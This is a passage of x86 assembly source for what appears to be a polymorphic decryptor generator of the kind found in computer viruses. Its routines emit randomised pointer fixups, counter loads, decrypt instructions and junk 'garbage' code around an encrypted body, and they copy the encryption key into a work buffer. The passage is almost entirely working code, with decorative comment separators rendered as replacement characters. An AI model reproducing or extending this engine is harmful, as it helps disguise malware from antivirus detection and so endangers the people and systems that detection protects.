; call get_delta
|
|||
|
|
; ...
|
|||
|
|
; get_delta:
|
|||
|
|
; ...
|
|||
|
|
; pop reg_1
|
|||
|
|
; ...
|
|||
|
|
; push reg_1
|
|||
|
|
; ...
|
|||
|
|
; pop reg_index
|
|||
|
|
; ...
|
|||
|
|
|
|||
|
|
call gen_pop_reg_1
|
|||
|
|
mov al,50h
|
|||
|
|
or al,byte ptr [ebx+REG_MASK]
|
|||
|
|
stosb
|
|||
|
|
call gen_garbage
|
|||
|
|
call gen_pop_index
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
gen_pop_index: ;Generate pop reg_index + garbage
|
|||
|
|
|
|||
|
|
mov al,58h
|
|||
|
|
or al,byte ptr [ebp+index_mask]
|
|||
|
|
stosb
|
|||
|
|
call gen_garbage
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
gen_pop_reg_1: ;Generate pop reg_1 + garbage
|
|||
|
|
|
|||
|
|
call get_valid_reg
|
|||
|
|
mov al,58h
|
|||
|
|
or al,byte ptr [ebx+REG_MASK]
|
|||
|
|
stosb
|
|||
|
|
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|||
|
|
push ebx
|
|||
|
|
call gen_garbage
|
|||
|
|
pop ebx
|
|||
|
|
|
|||
|
|
;Restore aux reg state
|
|||
|
|
|
|||
|
|
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|||
|
|
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate decryptor action: Fix pointer
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
gen_fix_ptr: ;Get displacement + offset of code to decrypt
|
|||
|
|
|
|||
|
|
lea eax,dword ptr [ebp+Mem_Base+mem_size]
|
|||
|
|
add eax,dword ptr [ebp+ptr_disp]
|
|||
|
|
sub eax,dword ptr [ebp+delta_call]
|
|||
|
|
|
|||
|
|
;Check direction
|
|||
|
|
|
|||
|
|
test byte ptr [ebp+build_flags],CRYPT_DIRECTION
|
|||
|
|
jz fix_dir_ok
|
|||
|
|
|
|||
|
|
;Direction is from top to bottom
|
|||
|
|
|
|||
|
|
push eax
|
|||
|
|
call fixed_size2ecx
|
|||
|
|
xor eax,eax
|
|||
|
|
mov al,byte ptr [ebp+oper_size]
|
|||
|
|
push eax
|
|||
|
|
mul ecx
|
|||
|
|
pop ecx
|
|||
|
|
sub eax,ecx
|
|||
|
|
pop ecx
|
|||
|
|
add eax,ecx
|
|||
|
|
fix_dir_ok: push eax
|
|||
|
|
|
|||
|
|
;Fix using ADD or SUB
|
|||
|
|
|
|||
|
|
call get_rnd32
|
|||
|
|
and al,01h
|
|||
|
|
jz fix_with_sub
|
|||
|
|
|
|||
|
|
fix_with_add: ;Generate ADD reg_index,fix_value
|
|||
|
|
|
|||
|
|
mov ax,0C081h
|
|||
|
|
or ah,byte ptr [ebp+index_mask]
|
|||
|
|
stosw
|
|||
|
|
pop eax
|
|||
|
|
jmp short fix_done
|
|||
|
|
|
|||
|
|
fix_with_sub: ;Generate SUB reg_index,-fix_value
|
|||
|
|
|
|||
|
|
mov ax,0E881h
|
|||
|
|
or ah,byte ptr [ebp+index_mask]
|
|||
|
|
stosw
|
|||
|
|
pop eax
|
|||
|
|
neg eax
|
|||
|
|
|
|||
|
|
fix_done: stosd
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate decryptor action: Load counter
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
gen_load_ctr: ;Easy now, just move counter random initial value
|
|||
|
|
;into counter reg and calc end_value
|
|||
|
|
|
|||
|
|
mov al,0B8h
|
|||
|
|
or al,byte ptr [ebp+counter_mask]
|
|||
|
|
stosb
|
|||
|
|
call fixed_size2ecx
|
|||
|
|
call get_rnd32
|
|||
|
|
stosd
|
|||
|
|
test byte ptr [ebp+build_flags],CRYPT_CDIR
|
|||
|
|
jnz counter_down
|
|||
|
|
counter_up: add eax,ecx
|
|||
|
|
jmp short done_ctr_dir
|
|||
|
|
counter_down: sub eax,ecx
|
|||
|
|
done_ctr_dir: mov dword ptr [ebp+end_value],eax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate decryptor action: Decrypt
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
gen_decrypt: ;Check if we are going to use a displacement
|
|||
|
|
|
|||
|
|
mov eax,dword ptr [ebp+ptr_disp]
|
|||
|
|
or eax,eax
|
|||
|
|
jnz more_complex
|
|||
|
|
|
|||
|
|
;Choose generator for [reg] indexing mode
|
|||
|
|
|
|||
|
|
mov edx,offset tbl_idx_reg
|
|||
|
|
call choose_magic
|
|||
|
|
jmp you_got_it
|
|||
|
|
|
|||
|
|
more_complex: ;More fun?!?!
|
|||
|
|
|
|||
|
|
mov al,byte ptr [ebp+build_flags]
|
|||
|
|
test al,CRYPT_SIMPLEX
|
|||
|
|
jnz crypt_xtended
|
|||
|
|
|
|||
|
|
;Choose generator for [reg+imm] indexing mode
|
|||
|
|
|
|||
|
|
mov edx,offset tbl_dis_reg
|
|||
|
|
call choose_magic
|
|||
|
|
|
|||
|
|
you_got_it: ;Use magic to convert some values into
|
|||
|
|
;desired instructions
|
|||
|
|
|
|||
|
|
call size_correct
|
|||
|
|
mov dl,byte ptr [ebp+index_mask]
|
|||
|
|
lodsb
|
|||
|
|
or al,al
|
|||
|
|
jnz adn_reg_01
|
|||
|
|
cmp dl,00000101b
|
|||
|
|
je adn_reg_02
|
|||
|
|
adn_reg_01: lodsb
|
|||
|
|
or al,dl
|
|||
|
|
stosb
|
|||
|
|
jmp common_part
|
|||
|
|
adn_reg_02: lodsb
|
|||
|
|
add al,45h
|
|||
|
|
xor ah,ah
|
|||
|
|
stosw
|
|||
|
|
jmp common_part
|
|||
|
|
|
|||
|
|
crypt_xtended: ;Choose [reg+reg] or [reg+reg+disp]
|
|||
|
|
|
|||
|
|
test al,CRYPT_COMPLEX
|
|||
|
|
jz ok_complex
|
|||
|
|
|
|||
|
|
;Get random displacement from current displacement
|
|||
|
|
;eeehh?!?
|
|||
|
|
|
|||
|
|
mov eax,00000010h
|
|||
|
|
call get_rnd_range
|
|||
|
|
sub dword ptr [ebp+ptr_disp],eax
|
|||
|
|
call load_aux
|
|||
|
|
push ebx
|
|||
|
|
call gen_garbage
|
|||
|
|
|
|||
|
|
;Choose generator for [reg+reg+imm] indexing mode
|
|||
|
|
|
|||
|
|
mov edx,offset tbl_paranoia
|
|||
|
|
call choose_magic
|
|||
|
|
jmp short done_xtended
|
|||
|
|
|
|||
|
|
ok_complex: mov eax,dword ptr [ebp+ptr_disp]
|
|||
|
|
call load_aux
|
|||
|
|
push ebx
|
|||
|
|
call gen_garbage
|
|||
|
|
|
|||
|
|
;Choose generator for [reg+reg] indexing mode
|
|||
|
|
|
|||
|
|
mov edx,offset tbl_xtended
|
|||
|
|
call choose_magic
|
|||
|
|
|
|||
|
|
done_xtended: ;Build decryptor instructions
|
|||
|
|
|
|||
|
|
call size_correct
|
|||
|
|
pop ebx
|
|||
|
|
mov dl,byte ptr [ebp+index_mask]
|
|||
|
|
lodsb
|
|||
|
|
mov cl,al
|
|||
|
|
or al,al
|
|||
|
|
jnz arn_reg_01
|
|||
|
|
cmp dl,00000101b
|
|||
|
|
jne arn_reg_01
|
|||
|
|
lodsb
|
|||
|
|
add al,40h
|
|||
|
|
stosb
|
|||
|
|
jmp short arn_reg_02
|
|||
|
|
arn_reg_01: movsb
|
|||
|
|
arn_reg_02: mov al,byte ptr [ebx+REG_MASK]
|
|||
|
|
shl al,03h
|
|||
|
|
or al,dl
|
|||
|
|
stosb
|
|||
|
|
or cl,cl
|
|||
|
|
jnz arn_reg_03
|
|||
|
|
cmp dl,00000101b
|
|||
|
|
jne arn_reg_03
|
|||
|
|
xor al,al
|
|||
|
|
stosb
|
|||
|
|
|
|||
|
|
arn_reg_03: ;Restore aux reg state
|
|||
|
|
|
|||
|
|
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|||
|
|
|
|||
|
|
common_part: ;Get post-build flags
|
|||
|
|
|
|||
|
|
lodsb
|
|||
|
|
|
|||
|
|
;Insert displacement from real address?
|
|||
|
|
|
|||
|
|
test al,MAGIC_PUTDISP
|
|||
|
|
jz skip_disp
|
|||
|
|
push eax
|
|||
|
|
mov eax,dword ptr [ebp+ptr_disp]
|
|||
|
|
neg eax
|
|||
|
|
stosd
|
|||
|
|
pop eax
|
|||
|
|
|
|||
|
|
skip_disp: ;Insert key?
|
|||
|
|
|
|||
|
|
test al,MAGIC_PUTKEY
|
|||
|
|
jz skip_key
|
|||
|
|
call copy_key
|
|||
|
|
|
|||
|
|
skip_key: ;Generate reverse code
|
|||
|
|
|
|||
|
|
call do_reverse
|
|||
|
|
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Choose a magic generator
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
choose_magic: mov eax,00000006h
|
|||
|
|
call get_rnd_range
|
|||
|
|
add edx,ebp
|
|||
|
|
lea esi,dword ptr [edx+eax*04h]
|
|||
|
|
lodsd
|
|||
|
|
add eax,ebp
|
|||
|
|
mov esi,eax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Do operand size correction
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
size_correct: lodsb
|
|||
|
|
mov ah,byte ptr [ebp+oper_size]
|
|||
|
|
cmp ah,01h
|
|||
|
|
je store_correct
|
|||
|
|
inc al
|
|||
|
|
cmp ah,04h
|
|||
|
|
je store_correct
|
|||
|
|
mov ah,66h
|
|||
|
|
xchg ah,al
|
|||
|
|
stosw
|
|||
|
|
ret
|
|||
|
|
store_correct: stosb
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Load aux reg with displacement
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
load_aux: ;Get a valid auxiliary register
|
|||
|
|
|
|||
|
|
push eax
|
|||
|
|
call get_valid_reg
|
|||
|
|
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|||
|
|
|
|||
|
|
;Move displacement into aux reg
|
|||
|
|
|
|||
|
|
mov al,0B8h
|
|||
|
|
or al,byte ptr [ebx+REG_MASK]
|
|||
|
|
stosb
|
|||
|
|
pop eax
|
|||
|
|
neg eax
|
|||
|
|
stosd
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate crypt-code
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
do_reverse: xor eax,eax
|
|||
|
|
mov al,byte ptr [ebp+oper_size]
|
|||
|
|
shr eax,01h
|
|||
|
|
shl eax,02h
|
|||
|
|
add esi,eax
|
|||
|
|
lodsd
|
|||
|
|
add eax,ebp
|
|||
|
|
mov esi,eax
|
|||
|
|
push edi
|
|||
|
|
lea edi,dword ptr [ebp+perform_crypt]
|
|||
|
|
loop_string: lodsb
|
|||
|
|
cmp al,MAGIC_ENDSTR
|
|||
|
|
je end_of_magic
|
|||
|
|
cmp al,MAGIC_ENDKEY
|
|||
|
|
je last_spell
|
|||
|
|
xor ecx,ecx
|
|||
|
|
mov cl,al
|
|||
|
|
rep movsb
|
|||
|
|
jmp short loop_string
|
|||
|
|
last_spell: call copy_key
|
|||
|
|
end_of_magic: mov al,0C3h
|
|||
|
|
stosb
|
|||
|
|
pop edi
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Copy encryption key into work buffer taking care about operand size
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
copy_key: mov eax,dword ptr [ebp+crypt_key]
|
|||
|
|
xor ecx,ecx
|
|||
|
|
mov cl,byte ptr [ebp+oper_size]
|
|||
|
|
loop_key: stosb
|
|||
|
|
shr eax,08h
|
|||
|
|
loop loop_key
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate decryptor action: Move index to next step
|
|||
|
|
